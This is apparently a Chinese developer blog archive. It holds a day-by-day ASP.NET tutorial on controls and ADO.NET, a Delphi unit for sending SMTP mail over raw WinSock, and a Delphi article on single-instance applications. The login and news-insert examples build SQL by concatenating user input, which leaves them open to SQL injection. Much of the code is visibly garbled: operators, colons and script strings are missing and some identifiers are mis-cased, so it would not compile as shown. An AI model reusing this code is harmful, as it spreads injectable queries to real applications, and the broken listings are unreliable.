2005-12-30

从零开始学ASP.NET

从零开始学ASP.NET
从零开始学ASP.NET 第一天
学习目的:
掌握最基本的Label、TextBox、Button控件用法
掌握用StringBuider类连接字符串
理解服务器的环境变量
StringBuilder类: 命名空间是:System.Text。
StringBuilder类是个高效的类,StringBuilder.Append连接字符串的方法是非常快的。用于连接大量的字符串,其速度的优越性就会体现出来。
先举几个例子: 在cs或vb文件的头部加上 [C#]using System.Text; [VB]Imports System.Text
[C#]StringBuilder sbFirst = new StringBuilder(); sbFirst.Append(“这是第一个学ASPNET的例子
”); sbFirst.Append( “这个例子太简单
”); sbFirst.Append( “连三岁小陔都会做,我早知道了,嘿嘿。”); Response.Write(sbFirst.ToString());
[VB]Dim sbFirst As StringBuilder = New StringBuilder() sbFirst.Append(“这是第一个学ASPNET的例子
”) sbFirst.Append( “这个例子太简单
”) sbFirst.Append( “连三岁小陔都会做,我早知道了,嘿嘿。”) Response.Write(sbFirst.ToString)
下面就可以做正题了: 先建立一个C#的WEB应用程序工程,这废话我就少说了吧。 放一个Button控件:ID为btnShowVariable 放一个Label控件:ID为labServerVariable
添加Button的单击事件,如下代码 private void btnShowVariable_Click(object sender, System.EventArgs e) { labServerVariables.Text = "";
StringBuilder info = new StringBuilder();
foreach (object objVar in Request.ServerVariables) { info.Append(""); info.Append(objVar.ToString()); info.Append(" = "); info.Append(Request.ServerVariables[objVar.ToString()]); info.Append("
"); }
labServerVariables.Text = info.ToString(); }
结果显示:
图片如下:
这样我们就可以这样用 Response.Write(Request.ServerVariables["REMOTE_ADDR"]); // IP地址 Response.Write("
"); Response.Write(Request.ServerVariables["URL"]); // 网页的URL
第二天
学习目的:
掌握文本框的用法
初次接触try…catch…语法
今天内容很轻松,用一个例子,输入年月日,判断输入是否正确
图片如下:
用个文本框,ID分别为txtYear,txtMonth,txtDate; 检验按钮的代码为: private void btnCheck_Click(object sender, System.EventArgs e) { int year, month, date;
// 先把输入的字符转成int类型,如果非数字型, // 会触发错误 try { year = Convert.ToInt32(txtYear.Text); month = Convert.ToInt32(txtMonth.Text); date = Convert.ToInt32(txtDate.Text); } catch { labCheckInfo.Text = "输入的是非数字字符。"; return; }
// 如果第一步检验合格,就把输入的数字转化为日期格式 // 如果不符合日期格式即引发错误 try { DateTime dt = new DateTime(year, month, date); } catch { labCheckInfo.Text = "输入的数字不符合日期格式"; return; }
labCheckInfo.Text = "输入正确"; }
嗯,补充一下,关于StringBuider 在处理字符串的时候很多人喜欢+=,其实对于string来说,一旦定义了就无法更改了 所谓的+只是新建的一个新的string变量并赋值 所以对于尽量使用StringBuider的Append的方法,这样将大量的节省服务器的资源
第三天
学习目的:
掌握下拉列表框的用法,并理解AutoPostBack属性;
理解IsPoskBack及用法;
初识DataTable的增加列、行,与下拉列表框绑定的方法。
今天的内容稍多些,而且涉及一些比较常用的,如IsPostBack及DataTable的基本用法。
知识点: IsPostBack:在页面onLoad之间是false值,而当从服务器回传后,该值变为true。当页面中的Button或ImageButton等触发事件,都会把表单回传到服务器,而返回时又会引发onLoad事件。为了节省服务器资源,有些加载中需进行一次,而不需要在回传后多次发生,可以用!IsPoskBack来作为条件,那么页面第一次加载后,以后就不会发生。该属性可以帮助你提高程序的性能。 DataTable:即数据表,.Net 程序中最常用的类,特别是数据库开发中,没有该类的程序是不可想象的。
先做个小程序来练练手,很简单,就一个下拉菜单,取名dlstWeb。在属性的Itmes选项中打开以下对话框,添加各项:
图片如下:
ASPX中的代码为: http://www.sina.com.cn">新浪 http://www.sohu.com">搜狐 http://www.163.com">网易
在下拉框的SelectedIndexChanged事件中的加入代码: private void dlstWeb_SelectedIndexChanged(object sender, System.EventArgs e) { Response.Write("
"); }
按F5运行,可是我们发现这下拉框选择时什么事也没发生。原来原因是出在下拉框的AutoPostBack属性上,把它设为true后再试试,一切OK了。 下面我们增加些难度,下拉框中的内容很多情况下不是事先固定的,而是要动态添加。这里设计是用一数据表DataTable与之联系起来。
另建一文件,按上添加一下拉框,取名dlstWeb,先设AutoPostPack为false,否则在刚启动而面就触发SelectedIndexChanged事件,弹出窗口就乱飞了。 在onLoad事件中添加代码,注意DataTable用法及IsPoskBack DataTable属于System.Data命名空间,所以如果页面没预添加,可以自行增加这一行。
private void Page_Load(object sender, System.EventArgs e) { // 用IsPostBack判断,只在没有回传时才初始化 // 这样可以防止每次刷新或回传时,都执行一次以下代码 // 可以节省服务器的资源了。 if (!IsPostBack) { DataTable dt = new DataTable(); DataRow dr;
// 在表中增加字段 dt.Columns.Add("WebName", typeof(string)); dt.Columns.Add("WebUrl", typeof(string));
// 表中增加行 dr = dt.NewRow(); dr["WebName"] = "新浪"; dr["WebUrl"] = "http://www.sina.com.cn/"; dt.Rows.Add(dr);
dr = dt.NewRow(); dr["WebName"] = "网易"; dr["WebUrl"] = "http://www.163.com/"; dt.Rows.Add(dr);
dr = dt.NewRow(); dr["WebName"] = "搜狐"; dr["WebUrl"] = "http://www.sohu.com/"; dt.Rows.Add(dr);
// 把表与下拉菜单绑定数据 dlstWeb.DataSource = dt; dlstWeb.DataTextField = "WebName"; dlstWeb.DatavalueField = "WebUrl"; dlstWeb.DataBind();
// 开始时就把下拉菜单的AutoPostBack设为false, // 防止一开始就乱跳出网页来 dlstWeb.AutoPostBack = true; } }
下面的事件与前面一模一样了 private void dlstWeb_SelectedIndexChanged(object sender, System.EventArgs e) { Response.Write("
"); }
小结:今天的一些知识非常重要,为了理解,程序的难度并不高。但这是以后程序设计的基础,所以这些你一定要掌握。 VB.NET增加字段代码稍有不同,如下:
// 在表中增加字段 dt.Columns.Add("WebName", GetType(String)) dt.Columns.Add("WebUrl", GetType(String))
其它都差不多了。
每四天
学习目的:
学习ADO.NET用法,并如何用DataRearder读取数据
今天练习数据库的最基本用法,如何打开数据库。首先在网站设置文件web.config文件的下方加入以下节点:


……
该节点设置了数据库的路径,这样就可以很方便的调用数据库文件了,调用方法为: Server.MapPath(ConfigurationSettings.AppSettings["数据库1"]) 这是ASP.NET程序的通用方法,以后介绍的SQL SERVER数据库也是在此设置的。 好开始做程序,首先在CS文件的头部加入: using System.Configuration; using System.Data.OleDb; using System.Text; 以下在Page的Load事件中,读取ACCESS数据库,并用表格显示出来: private void Page_Load(object sender, System.EventArgs e) { StringBuilder sbTable = new StringBuilder(); // 用于输出表格的语句
string strConnection = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" + Server.MapPath(ConfigurationSettings.AppSettings["数据库1"]);
// 连接数据库的语句 OleDbConnection conn = new OleDbConnection(strConnection); // 建立DbCommand对象 OleDbCommand cmd = conn.CreateCommand(); cmd.CommandText = "SELECT * FROM Book";
// 打开数据库 conn.Open();
// 用DataReader读取数据 OleDbDataReader dr = cmd.ExecuteReader();
sbTable.Append(" "); sbTable.Append(" "); while (dr.Read()) { sbTable.Append(" "); } sbTable.Append("
书名作者单价
"); sbTable.Append(dr["BookTitle"].ToString()); sbTable.Append(""); sbTable.Append(dr["Author"].ToString()); sbTable.Append(""); sbTable.Append(dr["UnitPrice"].ToString()); sbTable.Append("
");
// 记住dr用毕必须关闭,否则会阻塞服务器 dr.Close();
// DbConnection是受托管的,可以不关闭 // 但为良好的编程习惯,应该关闭 conn.Close();
Response.Write(sbTable.ToString());
} 显示结果
图片如下:
第五天
学习目的:
掌握ADO.NET打开SQL SERVER数据库的方法。
今天做个非常普通的例子,做一个用户登录框。主要是通过这个练习认识一下SQL SERVER数据库的连接方法。和昨天的例子方法基本相同,很容易掌握的。 先建立SQL SERVER数据库,库名为AspNetABC,并建立一Member新表,建表SQL如下:
CREATE TABLE [dbo].[Member] ( [MemberID] [int] IDENTITY (1, 1) NOT NULL , [MemberName] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NOT NULL , [Password] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NOT NULL , [Gender] [bit] NOT NULL , [Birthday] [datetime] NULL , [Email] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL ) ON [PRIMARY]
ALTER TABLE [dbo].[Member] WITH NOCHECK ADD CONSTRAINT [PK_Member] PRIMARY KEY CLUSTERED ( [MemberID] ) ON [PRIMARY]
与上一例子差不多,在web.config文件中再增加一行:
在面中添加二个文本框,txtMemberName、txtPassword,并设置txtPassword的TextMode为Password。设置按钮btnLogin。btnLogin的事件代码如下:
private void btnLogin_Click(object sender, System.EventArgs e) { // 先检验输入正确性 if (txtMemberName.Text == String.Empty txtMemberName.Text.Trim() == "") { Response.Write("
"); return; } if (txtPassword.Text == String.Empty txtPassword.Text.Trim() == "") { Response.Write("
"); return; }
string strConnection = ConfigurationSettings.AppSettings["SqlDatabase1"]; string sqlMember = "SELECT MemberName ,[Password] FROM Member " + " WHERE MemberName = ''" + txtMemberName.Text.Trim() + "''" + " AND [Password] = ''" + txtPassword.Text.Trim() + "''";
// 连接SqlServer数据库 SqlConnection conn = new SqlConnection(strConnection); // 建立SqlCommand SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sqlMember; conn.Open(); // 建立DataReader SqlDataReader dr = cmd.ExecuteReader();
// 判断DataReader是否为空记录 if (dr.HasRows) { Response.Write("
"); } else { Response.Write("
"); }
// 千万不要忘记关闭DataReader dr.Close();
conn.Close(); }
好了,一个非常简单的登录框做好了。当然在实际程序中还应加入跳转等,这个就留给你做了。
第六天
学习目的
掌握如何用ADO.NET插入新的记录
我们学得好快,今天做一个简易的新闻发布网页,可以说是个演示型的,只是让大家能理插入数据的最主要步骤。掌握今天的内容,我们就有基础可以做一个稍有实用的新闻程序了。 为了不使注意力分散,程序没有加入输入的验证,很快我会接下去写一个验证输入的方法。
图片如下:
仍用昨天的方法新建一数据表,SQL语句如下: CREATE TABLE [dbo].[NewsArticle] ( [NewsArticleID] [int] IDENTITY (1, 1) NOT NULL , [Title] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NOT NULL , [SubTitle] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL , [Content] [ntext] COLLATE Chinese_PRC_CI_AS NOT NULL , [Writer] [nvarchar] (10) COLLATE Chinese_PRC_CI_AS NULL , [PubTime] [datetime] NOT NULL ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
ALTER TABLE [dbo].[NewsArticle] WITH NOCHECK ADD CONSTRAINT [DF_NewsArticle_PubTime] DEFAULT (getdate()) FOR [PubTime], CONSTRAINT [PK_NewsArticle] PRIMARY KEY CLUSTERED ( [NewsArticleID] ) ON [PRIMARY] GO
按昨天的方法加入头部的语句,在提交按钮中建立以下事件:
private void btnPublish_ServerClick(object sender, System.EventArgs e) { string strConnection = ConfigurationSettings.AppSettings["SqlDatabase1"];
// 连接SqlServer数据库 SqlConnection conn = new SqlConnection(strConnection); // 建立SqlCommand SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = "INSERT INTO NewsArticle (Title, SubTitle, Writer, Content) valueS (" + "''" + txtTitle.Text + "''," + "''" + txtSubTitle.Text + "''," + "''" + txtWriter.Text + "''," + "''" + txtContent.Text + "'')"; conn.Open(); //Response.Write (cmd.CommandText);
// 插入记录 try { cmd.ExecuteNonQuery(); } catch (Exception ex) { Response.Write("
"); } finally { conn.Close(); } }
注意Command对象的ExecuteNonQuery()方法使用,该方法可以用于插入、更新、删除等操作,是Command对象的重要方法。今天介绍了Command语句的最基本用法,下次还将介绍占位符的用法。好了,各位先消化一下,明后天将做实用的东东了。 第七天
学习目的
接触验证控件
昨天介绍了SQL SERVER插入数据,但是我们省略了验证输入这一步。以前的做法是用语句逐个判断输入的正确性,如是否为空,长度是否超过等。现在.NET中有了验证控件,可以使我们在编程的语句中大在简化了。今天介绍验证控件中最基本的一个,RequeiredFieldValidator控件,是用来判别否输入控件是否为空值,如为空则引发错误。
RequeiredFieldValidator可以用来验证TextBox、ListBox、DropDownList、RadioButtonList及Html控件中的InputText、TextArea、Select、InputFile等。
属性介绍: ControlToValidate:指点验证某一控件的控件名,如为空,将引发异常; ErrorMessage:错误提示信息; IsValid:用于判断是否通过验证; Display:有三个值,None表示错误时不显示信息,但在ValidationSunmmary控件中显示;Static表示不论错误提示是否出现,都占页面空间;Dymatic:只有错误提示才占用空间。 Text:文本内容。和ErrorMessage一起使用时,将显示Text错误信息。该种情况可以通过ValidationSummay控件显示ErrorMessage属性的提示。
使用方法: 设置: txtTitle:MaxLength(50); txtSubTitle: MaxLength(50); txtWriter: MaxLength(10); 这样可以防止输入过长字符串 rfvTitle:ControlToValidate(txtTitle)、ErrorMessage(“标题必须输入。”) rfvContent:ControlToValidate(txtTitle)、ErrorMessage(“内容必须输入。”)
这样在没有验证通过时,会出现下图信息提示,并不执行插入语句。直到验证正确后,才执行数据更新。
图片如下:
第八天
学习目的
学会SQL中的占位符用法
在鲸鱼这几天忙死了,好几天没写了,真对不起各位。这几天让XHTML闹得不开心,虽然以前也知道这个,但没太在意。可现在我是如梦初醒,我发觉XHTML是个信号,所以这几天不得不仔细研究一下这个。很笨,我还没发觉XHTML的奥妙。确实如此,没上过台面,真不知这桌菜怎样好吃。少说了,回到正题。
先把以前的Command的CommandText重新写过: cmd.CommandText = "INSERT INTO NewsArticle (Title, SubTitle, Writer, Content)" + " valueS ( @Title, @SubTitle, @Writer, @Content )"; 这样代码是否很清晰了,我们可以避免一大串的难以看懂的的语句了。
接下来,我们就给这些定位符赋予属性和值了: cmd.Parameters.Add("@Title", SqlDbType.NVarChar, 50); cmd.Parameters.Add("@SubTitle", SqlDbType.NVarChar, 50); cmd.Parameters.Add("@Writer", SqlDbType.NVarChar, 10); cmd.Parameters.Add("@Content", SqlDbType.NText);
以上我们给每个占位符定义一个值类型,相信不难看懂吧。接者再给于值: cmd.Parameters["@Title"].value = txtTitle.Text.Trim(); if (txtSubTitle.Text == string.Empty txtSubTitle.Text.Trim() == "") { cmd.Parameters["@SubTitle"].value = DBNull.value; } else { cmd.Parameters["@SubTitle"].value = txtSubTitle.Text.Trim(); } if (txtWriter.Text == string.Empty txtWriter.Text.Trim() == "") { cmd.Parameters["@Writer"].value = DBNull.value; } else { cmd.Parameters["@Writer"].value = txtWriter.Text; } cmd.Parameters["@Content"].value = txtContent.Text;
其实,也可以这样写: cmd.Parameters.Add("@Title", SqlDbType.NVarChar, 50) .value = txtTitle.Text.Trim(); 这要看你喜欢了。
不错吧,程序是否很有条理。
程序代码: private void btnPublish_ServerClick(object sender, System.EventArgs e) { string strConnection = ConfigurationSettings.AppSettings["SqlDatabase1"];
// 连接SqlServer数据库 SqlConnection conn = new SqlConnection(strConnection); // 建立SqlCommand SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = "INSERT INTO NewsArticle (Title, SubTitle, Writer, Content)" + " valueS ( @Title, @SubTitle, @Writer, @Content )"; conn.Open();
cmd.Parameters.Add("@Title", SqlDbType.NVarChar, 50); cmd.Parameters.Add("@SubTitle", SqlDbType.NVarChar, 50); cmd.Parameters.Add("@Writer", SqlDbType.NVarChar, 10); cmd.Parameters.Add("@Content", SqlDbType.NText);
cmd.Parameters["@Title"].value = txtTitle.Text.Trim(); if (txtSubTitle.Text == string.Empty txtSubTitle.Text.Trim() == "") { cmd.Parameters["@SubTitle"].value = DBNull.value; } else { cmd.Parameters["@SubTitle"].value = txtSubTitle.Text.Trim(); } if (txtWriter.Text == string.Empty txtWriter.Text.Trim() == "") { cmd.Parameters["@Writer"].value = DBNull.value; } else { cmd.Parameters["@Writer"].value = txtWriter.Text; } cmd.Parameters["@Content"].value = txtContent.Text; // 插入记录 try { cmd.ExecuteNonQuery(); } catch (Exception ex) { Response.Write("
"); } finally { conn.Close(); } }

2005-12-08

[Delphi]直接用WinSockAPI发E-mail

unit SMTP_Connections;

//------------------------------------------
//定义单元
//---------------------------------------------
interface

uses
Classes, StdCtrls;

const
WinSock = 'wsock32.dll';
Internet = 2;
Stream = 1;
fIoNbRead = $4004667F;
WinSMTP = $0001;
LinuxSMTP = $0002;

type

TWSAData = packed record
wVersion: Word;
wHighVersion: Word;
szDescription: array[0..256] of Char;
szSystemStatus: array[0..128] of Char;
iMaxSockets: Word;
iMaxUdpDg: Word;
lpVendorInf PChar;
end;
PHost = ^THost;
THost = packed record
Name: PChar;
aliases: ^PChar;
addrtype: Smallint;
Length: Smallint;
addr: ^Pointer;
end;

TSockAddr = packed record
Family: Word;
Port: Word;
Addr: Longint;
Zeros: array[0..7] of Byte;
end;


function WSAStartup(Version:word; var Data:TwsaData):integer; stdcall; far; external winsock;
function socket(Family,Kind,Protocol:integer):integer; stdcall; far; external winsock;
function shutdown(Socket,How:Integer):integer; stdcall; far; external winsock;
function closesocket(socket:Integer):integer; stdcall; far; external winsock;
function WSACleanup:integer; stdcall; far; external winsock;
function bind(Socket:Integer; var SockAddr:TSockAddr; AddrLen:integer):integer; stdcall; far; external winsock;
function listen(socket,flags:Integer):integer; stdcall; far; external winsock;
function connect(socket:Integer; var SockAddr:TSockAddr; AddrLen:integer):integer; stdcall; far; external winsock;
function accept(socket:Integer; var SockAddr:TSockAddr; var AddrLen:Integer):integer; stdcall; far; external winsock;
function WSAGetLastError:integer; stdcall; far; external winsock;
function recv(socket:integer; data:pchar; datalen,flags:integer):integer; stdcall; far; external winsock;
function send(socket:integer; var data; datalen,flags:integer):integer; stdcall; far; external winsock;
function gethostbyname(HostName:PChar):PHost; stdcall; far; external winsock;
function WSAIsBlocking:boolean; stdcall; far; external winsock;
function WSACancelBlockingCall:integer; stdcall; far; external winsock;
function ioctlsocket(socket:integer; cmd: Longint; var arg: longint): Integer; stdcall; far; external winsock;
function gethostname(name:pchar; size:integer):integer; stdcall; far; external winsock;

procedure _authSendMail(MailServer,uname,upass,mFrom,mFromName,mToName,Subject:string;mto,mbody:TStringList);
function ConnectServer(mhost:string;mport:integer):integer;
function ConnectServerwin(mhost:string;mport:integer):integer;
function DisConnectServer:integer;
function Stat: string;
function SendCommand(Command: string): string;
function SendData(Command: string): string;
function SendCommandWin(Command: string): string;
function ReadCommand: string;
function encryptB64(s:string):string;


var
mconnHandle: Integer;
mFin, mFOut: Textfile;
EofSock: Boolean;
mactive: Boolean;
mSMTPErrCode: Integer;
mSMTPErrText: string;
mMem TMemo;

implementation

uses
SysUtils, Sockets, IdBaseComponent,
IdCoder, IdCoder3to4, IdCoderMIME, IniFiles,Unit1;

var
mClient: TTcpClient;

procedure _authSendMail(MailServer, uname, upass, mFrom, mFromName,
mToName, Subject: string; mto, mbody: TStringList);
var
tmpstr: string;
cnt: Integer;
mstrlist: TStrings;
RecipientCount: Integer;
begin
if ConnectServerWin(Mailserver, 25) = 250 then
begin
Sendcommandwin('AUTH LOGIN ');
SendcommandWin(encryptB64(uname));
SendcommandWin(encryptB64(upass));
SendcommandWin('MAIL FROM: ' + mfrom);
for cnt := 0 to mto.Count - 1 do
SendcommandWin('RCPT T ' + mto[cnt]);
Sendcommandwin('DATA');
SendData('Subject: ' + Subject);
SendData('From: "' + mFromName + '" <' + mfrom + '>');
SendData('T ' + mToName);
SendData('Mime-Version: 1.0');
SendData('Content-Type: multipart/related; boundary="Esales-Order";');
SendData(' type="text/html"');
SendData('');
SendData('--Esales-Order');
SendData('Content-Type: text/html;');
SendData(' charset="iso-8859-9"');
SendData('Content-Transfer-Encoding: QUOTED-PRINTABLE');
SendData('');
for cnt := 0 to mbody.Count - 1 do
SendData(mbody[cnt]);
Senddata('');
SendData('--Esales-Order--');
Senddata(' ');
mSMTPErrText := SendCommand(crlf + '.' + crlf);
try
mSMTPErrCode := StrToInt(Copy(mSMTPErrText, 1, 3));
except
end;
SendData('QUIT');
DisConnectServer;
end;
end;


function Stat: string;
var
s: string;
begin
s := ReadCommand;
Result := s;
end;

function EchoCommand(Command: string): string;
begin
SendCommand(Command);
Result := ReadCommand;
end;

function ReadCommand: string;
var
tmp: string;
begin
repeat
ReadLn(mfin, tmp);
if Assigned(mmemo) then
mmemo.Lines.Add(tmp);
until (Length(tmp) <> '-');
Result := tmp
end;

function SendData(Command: string): string;
begin
Writeln(mfout, Command);
end;

function SendCommand(Command: string): string;
begin
Writeln(mfout, Command);
Result := stat;
end;

function SendCommandWin(Command: string): string;
begin
Writeln(mfout, Command + #13);
Result := stat;
end;

function FillBlank(Source: string; number: Integer): string;
var
a: Integer;
begin
Result := '';
for a := Length(trim(Source)) to number do
Result := Result + ' ';
end;

function IpToLong(ip: string): Longint;
var
x, i: Byte;
ipx: array[0..3] of Byte;
v: Integer;
begin
Result := 0;
Longint(ipx) := 0;
i := 0;
for x := 1 to Length(ip) do
if ip[x] = '.' then
begin
Inc(i);
if i = 4 then Exit;
end
else
begin
if not (ip[x] in ['0'..'9']) then Exit;
v := ipx[i] * 10 + Ord(ip[x]) - Ord('0');
if v > 255 then Exit;
ipx[i] := v;
end;
Result := Longint(ipx);
end;

function HostToLong(AHost: string): Longint;
var
Host: PHost;
begin
Result := IpToLong(AHost);
if Result = 0 then
begin
Host := GetHostByName(PChar(AHost));
if Host <> nil then Result := Longint(Host^.Addr^^);
end;
end;

function LongToIp(Long: Longint): string;
var
ipx: array[0..3] of Byte;
i: Byte;
begin
Longint(ipx) := long;
Result := '';
for i := 0 to 3 do Result := Result + IntToStr(ipx[i]) + '.';
SetLength(Result, Length(Result) - 1);
end;

procedure Disconnect(Socket: Integer);
begin
ShutDown(Socket, 1);
CloseSocket(Socket);
end;

function CallServer(Server: string; Port: Word): Integer;
var
SockAddr: TSockAddr;
begin
Result := socket(Internet, Stream, 0);
if Result = -1 then Exit;
FillChar(SockAddr, SizeOf(SockAddr), 0);
SockAddr.Family := Internet;
SockAddr.Port := swap(Port);
SockAddr.Addr := HostToLong(Server);
if Connect(Result, SockAddr, SizeOf(SockAddr)) <> 0 then
begin
Disconnect(Result);
Result := -1;
end;
end;

function OutputSock(var F: TTextRec): Integer; far;
begin
if F.BufPos <> 0 then
begin
Send(F.Handle, F.BufPtr^, F.BufPos, 0);
F.BufPos := 0;
end;
Result := 0;
end;

function InputSock(var F: TTextRec): Integer; far;
var
Size: Longint;
begin
F.BufEnd := 0;
F.BufPos := 0;
Result := 0;
repeat
if (IoctlSocket(F.Handle, fIoNbRead, Size) < 0) then
begin
EofSock := True;
Exit;
end;
until (Size >= 0);
F.BufEnd := Recv(F.Handle, F.BufPtr, F.BufSize, 0);
EofSock := (F.Bufend = 0);
end;


function CloseSock(var F: TTextRec): Integer; far;
begin
Disconnect(F.Handle);
F.Handle := -1;
Result := 0;
end;

function OpenSock(var F: TTextRec): Integer; far;
begin
if F.Mode = fmInput then
begin
EofSock := False;
F.BufPos := 0;
F.BufEnd := 0;
F.InOutFunc := @InputSock;
F.FlushFunc := nil;
end
else
begin
F.Mode := fmOutput;
F.InOutFunc := @OutputSock;
F.FlushFunc := @OutputSock;
end;
F.CloseFunc := @CloseSock;
Result := 0;
end;

procedure AssignCrtSock(Socket:integer; var Input,Output:TextFile);
begin
with TTextRec(Input) do
begin
Handle := Socket;
Mode := fmClosed;
BufSize := SizeOf(Buffer);
BufPtr := @Buffer;
OpenFunc := @OpenSock;
end;
with TTextRec(Output) do
begin
Handle := Socket;
Mode := fmClosed;
BufSize := SizeOf(Buffer);
BufPtr := @Buffer;
OpenFunc := @OpenSock;
end;
Reset(Input);
Rewrite(Output);
end;

function ConnectServer(mhost: string; mport: Integer): Integer;
var
tmp: string;
begin
mClient := TTcpClient.Create(nil);
mClient.RemoteHost := mhost;
mClient.RemotePort := IntToStr(mport);
mClient.Connect;
mconnhandle := callserver(mhost, mport);
if (mconnHandle<>-1) then
begin
AssignCrtSock(mconnHandle, mFin, MFout);
tmp := stat;
tmp := SendCommand('HELO bellona.com.tr');
if Copy(tmp, 1, 3) = '250' then
begin
Result := StrToInt(Copy(tmp, 1, 3));
end;
end;
end;

function ConnectServerWin(mhost: string; mport: Integer): Integer;
var
tmp: string;
begin
mClient := TTcpClient.Create(nil);
mClient.RemoteHost := mhost;
mClient.RemotePort := IntToStr(mport);
mClient.Connect;
mconnhandle := callserver(mhost, mport);
if (mconnHandle<>-1) then
begin
AssignCrtSock(mconnHandle, mFin, MFout);
tmp := stat;
tmp := SendCommandWin('HELO bellona.com.tr');
if Copy(tmp, 1, 3) = '250' then
begin
Result := StrToInt(Copy(tmp, 1, 3));
end;
end;
end;

function DisConnectServer: Integer;
begin
closesocket(mconnhandle);
mClient.Disconnect;
mclient.Free;
end;

function encryptB64(s: string): string;
var
hash1: TIdEncoderMIME;
p: string;
begin
if s <> '' then
begin
hash1 := TIdEncoderMIME.Create(nil);
p := hash1.Encode(s);
hash1.Free;
end;
Result := p;
end;

end.

//------------------------------------------
// 怎么使用定义好得相关单元
//---------------------------------------------
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
private
{ private declarations }
public
{ public declarations }
end;

var
Form1: TForm1;

implementation

{$r *.dfm}

uses
SMTP_Connections;

procedure TForm1.Button1Click(Sender: TObject);
var
mto, mbody: TStringList;
MailServer, uname, upass, mFrom, mFromName,
mToName, Subject: string;
begin
mMemo := Memo1; // 定义相关发送服务器
//..........................
MailServer := 'mail.163.com';
uname := 'username';
upass := 'password';
mFrom := 'laolij@163.com;
mFromName := 'forename surname';
mToName := '';
Subject := 'Your Subject';
//..........................
mto := TStringList.Create;
mbody := TStringList.Create;
try
mto.Add('anybody@xyz.net');
mbody.Add('测试邮件');
//发送.................
_authSendMail(MailServer, uname, upass, mFrom, mFromName, mToName, Subject, mto, mbody);
//..........................
finally
mto.Free;
mbody.Free;
end;
end;

end.

2005-11-24

Delphi中如何防止运行一个应用程序的多个实例

Delphi中如何防止运行一个应用程序的多个实例吴淑华
01-5-31 下午 01:56:54
实际应用中,程序设计人员有时希望某一时刻只运行应用程序的单个实例。或许是因为应用程序需要访问专用的特殊资源,如访问调制解调器或是CD-ROM驱动器,或许是因为应用程序需占用大量的系统资源,为保证其工作正常只能运行单一实例。
无论何种原因,如果在运行第二个实例时,简单地终止先前的实例,那么程序就会显得十分粗糙。为避免这个问题,一般要求在第二个实例终止前,把第一个实例的窗口送到栈顶。一种Win16的方法是简单地检测应用程序先前实例的句柄,如果其值不为NULL,就可以标识其他的实例。然而,在Win32中,这个值总为NULL。因此,只能选用其他方法。
这里提供的方法不依赖于应用程序具体的窗口标题也不依赖于登录窗口类。不但可以终止第二个实例,而且可以把第一个实例带到前台。下面本文结合具体实例,详细介绍一下实现步骤,并总结实现这些步骤的技术要点。
一、实现步骤
1.程序功能描述
该程序除主窗口MainForm外,还包括用户登录子窗口(密码检查窗口)LoginForm。程序启动后,首先需通过用户登录后才能进入应用程序主窗口。如果程序不包括用户登录子窗口,即程序启动后直接进入主窗口,实现步骤中需去掉步骤3和步骤5,会更简单一些。本实例之所以包括登录窗口,是考虑到实际应用中有时会遇到类似情况,如果了解了后者如何实现,当然也就掌握了前者的实现方法。
2.编辑TMainForm.FormCreate(Sender: TObject)
首先检查应用程序其他的实例是否启动。方法是创建一个mutex(Mutex很象临界区,除了在访问多进程时能同步数据外。)如果所命名的mutex已经存在,就说明应用程序的另一个实例在运行。通过将唯一的一个名字传送给CreateMutex可以命名mutex。在此以应用程序名作为第三个参数。代码如下:
procedure TMainForm.FormCreate(Sender: TObject);
var
mutexName: String;//互斥元名
hPrevWnd, hData: HWND; //hPrevWnd---窗口句柄, hData---GetProp返回的属性值
result: TModalResult;
LoginDlg: TLoginForm;
begin
mutexName := Application.ExeName; //以应用程序名作为互斥名
//创建互斥元.如果互斥元已经存在,这就是应用程序的第二个事例.
//注意:当应用程序结束时,互斥元自动关闭.
CreateMutex(Nil, TRUE, PChar(mutexName));
if (GetLastError() = ERROR_ALREADY_EXISTS) then
begin
...
end;
...
end;
3.编辑TLoginForm.FormCreate
由于该实例刚运行时要先调用登录子窗体LoginForm,只有通过了密码检查后才能启动应用程序主窗体MainForm。为了避免该程序的前一个实例刚运行到登录窗口时,就运行程序的第二个实例,采用标记登录窗口的方法,并在步骤4中对该标记进行判断。代码如下:
procedure TLoginForm.FormCreate(Sender: TObject);
begin
//进行窗口初始化
......
//设置窗口属性,以便在该应用程序系统启动时进行判断
SetProp(Handle, PChar(Application.ExeName), 2);
end;
4.寻找先前实例
当断定应用程序的另一个实例正在运行后,首先把先前的实例调到前台并给予焦点,并最大化显示该窗口。
在此,通过调用SDK的函数SetProp添加一个和窗口句柄组合成对的字符串/数据句柄来标记一个窗口。当检查出其他实例正在运行时,可通过搜索所有顶层窗口的标记,找到先前应用程序的主窗口。对每一个窗口来说,通过调用SDK的GetProp函数,可以找到先前实例的标记。如果窗口包含该标记,则找到了主窗口。窗口找到后,最大化并送到前台。具体代码如下:
procedure TMainForm.FormCreate(Sender: TObject);
var
mutexName: String;//互斥元名
hPrevWnd, hData: HWND; //hPrevWnd---窗口句柄, hData---GetProp返回的属性值
result :TModalResult;
LoginDlg :TLoginForm;
begin
mutexName := Application.ExeName; //以应用程序名作为互斥名
//创建互斥元.如果互斥元已经存在,这就是应用程序的第二个事例.
//注意:当应用程序结束时,互斥元自动关闭.
CreateMutex(Nil, TRUE, PChar(mutexName));
if (GetLastError() = ERROR_ALREADY_EXISTS) then
begin
//查找该应用程序的前一个主窗口句柄.
hPrevWnd := GetDesktopWindow();
hPrevWnd := GetWindow(hPrevWnd, GW_CHILD);
while (IsWindow(hPrevWnd)) do
begin
//判断此窗口属性标志是否与设置的主窗口或登录窗口标志相符.
hData := GetProp(hPrevWnd, PChar(mutexName));
if (hData = 1) or (hData = 2) then
begin
//判断是主窗口还是登录窗口,并将窗口获得焦点.
if hData = 1 then //主窗口
ShowWindow(hPrevWnd, SW_MAXIMIZE)
else //登录窗口
ShowWindow(hPrevWnd,SW_RESTORE);
